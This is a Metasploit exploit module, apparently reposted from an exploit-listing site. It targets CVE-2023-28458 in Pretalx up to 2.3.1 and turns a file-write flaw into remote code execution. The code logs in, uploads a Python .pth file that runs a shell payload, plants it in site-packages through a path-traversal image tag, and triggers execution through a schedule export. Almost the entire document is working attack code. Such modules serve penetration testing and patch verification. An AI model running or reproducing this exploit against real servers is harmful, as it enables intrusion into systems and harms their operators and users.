Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-LINUX-HTTP-PRETALX_RCE_CVE_2023_28458-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Pretalx
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pretalx Limited File Write to Remote Code Execution',
        'Description' => %q{
          This module exploits CVE-2023-28458, a limited file write in Pretalx, up to version 2.3.1. The module will use the vulnerability to write a malicious site-specific configuration hook forPython. Once hook is written, payload will be executed every time Pretalx user runs any Python code. Pretalx needs to run in debug mode to exploit this.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Stefan Schiller', # security researcher
          'msutovsky-r7' # module dev
        ],
        'References' => [
          [ 'URL', 'https://www.sonarsource.com/blog/pretalx-vulnerabilities-how-to-get-accepted-at-every-conference/'],
          [ 'CVE', '2023-28458']
        ],
        'Targets' => [

          [
            'Linux Target',
            {
              'Arch' => ARCH_CMD,
              'Platform' => ['unix', 'linux']
            }
          ]
        ],
        'DefaultOptions' => { 'WfsDelay' => 60 * 5 },
        'DisclosureDate' => '2023-03-07',
        'DefaultTarget' => 0,

        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('EMAIL', [true, 'User email to Pretalx backend']),
      OptString.new('PASSWORD', [true, 'Password to Pretalx backend']),

      OptString.new('PYTHON_VERSION', [true, 'Python version running on target machine', 'python3.8'])
    ])
  end

  def check
    return Exploit::CheckCode::Unknown('Login failed, please check credentials') unless login(datastore['EMAIL'], datastore['PASSWORD'])

    @logged_in = true

    version_element = get_version

    return Exploit::CheckCode::Safe('Debug mode is not enabled') unless debug?

    return Exploit::CheckCode::Appears("Detected vulnerable version #{version_element} and debug mode is enabled") if version_element <= Rex::Version.new('2.3.1')

    return Exploit::CheckCode::Safe("Detected version #{version_element} is not vulnerable")
  rescue UnexpectedResponseError
    return Exploit::CheckCode::Unknown('Received unexpected response, check your options')
  rescue VersionCheckError
    return Exploit::CheckCode::Detected('Pretalx detected, failed to verify version')
  rescue CsrfError
    return Exploit::CheckCode::Unknown('Failed to get CSRF token')
  rescue SessionCookieError
    return Exploit::CheckCode::Detected('Pretalx detected, failed to get session cookie - check your credentials')
  rescue DebugError
    return Exploit::CheckCode::Detected('Failed to check if debug mode is enabled')
  end

  def exploit
    vprint_status('Registering malicious speaker and proposal')

    proposal_info = {
      email: datastore['EMAIL'],
      password: datastore['PASSWORD']
    }

    registration_info = register_proposal(proposal_info)
    proposal_name = registration_info[:proposal_name]

    vprint_status("Logging with credentials: #{datastore['EMAIL']}/#{datastore['PASSWORD']}")

    fail_with Failure::NoAccess, 'Incorrect credentials' unless @logged_in || login(datastore['EMAIL'], datastore['PASSWORD'])

    vprint_status('Approving proposal')

    proposal_id = approve_proposal(proposal_name)
    vprint_status('Uploading resource with payload')
    resource_name = Rex::Text.rand_text_alphanumeric(5)
    resource_data = %(import os;os.system("#{payload.encoded}") )
    res = edit_proposal(Rex::Text.rand_text_alphanumeric(4), '', proposal_id, proposal_name, "#{resource_name}.pth", resource_data)

    fail_with Failure::PayloadFailed unless res.body =~ /#{resource_name}_([a-zA-Z0-9]+)\.pth/

    full_resource_name = "#{resource_name}_#{Regexp.last_match(1)}.pth"

    vprint_status('Inserts write primitve')

    write_primitive_description = "<img src='%2fmedia%2f#{datastore['CONFERENCE_NAME']}%2fsubmissions%2f#{proposal_id}%2fresources/../../../../../tmp/media%2f#{datastore['CONFERENCE_NAME']}/../../../pretalx/.local/lib/#{datastore['PYTHON_VERSION']}/site-packages/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fmedia%2f#{datastore['CONFERENCE_NAME']}%2fsubmissions%2f#{proposal_id}%2fresources%2f#{full_resource_name}'/>"
    edit_proposal(Rex::Text.rand_text_alphanumeric(4), write_primitive_description, proposal_id, proposal_name, '', '')
    vprint_status('Adding proposal to schedule')
    add_proposal_to_schedule(proposal_name)
    vprint_status('Releasing schedule')
    release_schedule

    vprint_status('Exporting schedule')
    export_zip
    vprint_status('Waiting for cron to run Python under Pretalx user')
  end
end